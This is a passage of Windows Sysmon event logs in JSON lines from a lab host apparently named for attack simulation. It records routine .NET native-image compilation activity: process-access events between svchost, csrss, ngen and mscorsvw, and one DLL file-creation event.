C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:46.091","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001055420E00}","TargetProcessId":"4192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:46.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42C6-5F2D-0000-001051970D00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:46.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42C6-5F2D-0000-001051970D00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7659,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:46.229\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42C6-5F2D-0000-001051970D00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:46.229","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42C6-5F2D-0000-001051970D00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7660,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:46.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001088460E00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:46.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001088460E00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7661,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:47.338\r\nProcessGuid: {90617006-42E6-5F2D-0000-001088460E00}\r\nProcessId: 4556\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11cc-0\\System.Deployment.dll\r\nCreationUtcTime: 2020-08-07 12:02:47.338","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:47.338","ProcessGuid":"{90617006-42E6-5F2D-0000-001088460E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11cc-0\\System.Deployment.dll","CreationUtcTime":"2020-08-07 12:02:47.338","EventReceivedTime":"2020-08-07 12:02:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7662,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:47.511\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B3-5F2D-0000-00103B460C00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:47.511","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B3-5F2D-0000-00103B460C00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7663,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:47.511\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B3-5F2D-0000-00103B460C00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:47.511","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B3-5F2D-0000-00103B460C00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7664,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:47.526\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E7-5F2D-0000-0010034E0E00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:47.526","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E7-5F2D-0000-0010034E0E00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7665,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:48.120\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42E8-5F2D-0000-00102E540E00}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:48.120","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42E8-5F2D-0000-00102E540E00}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 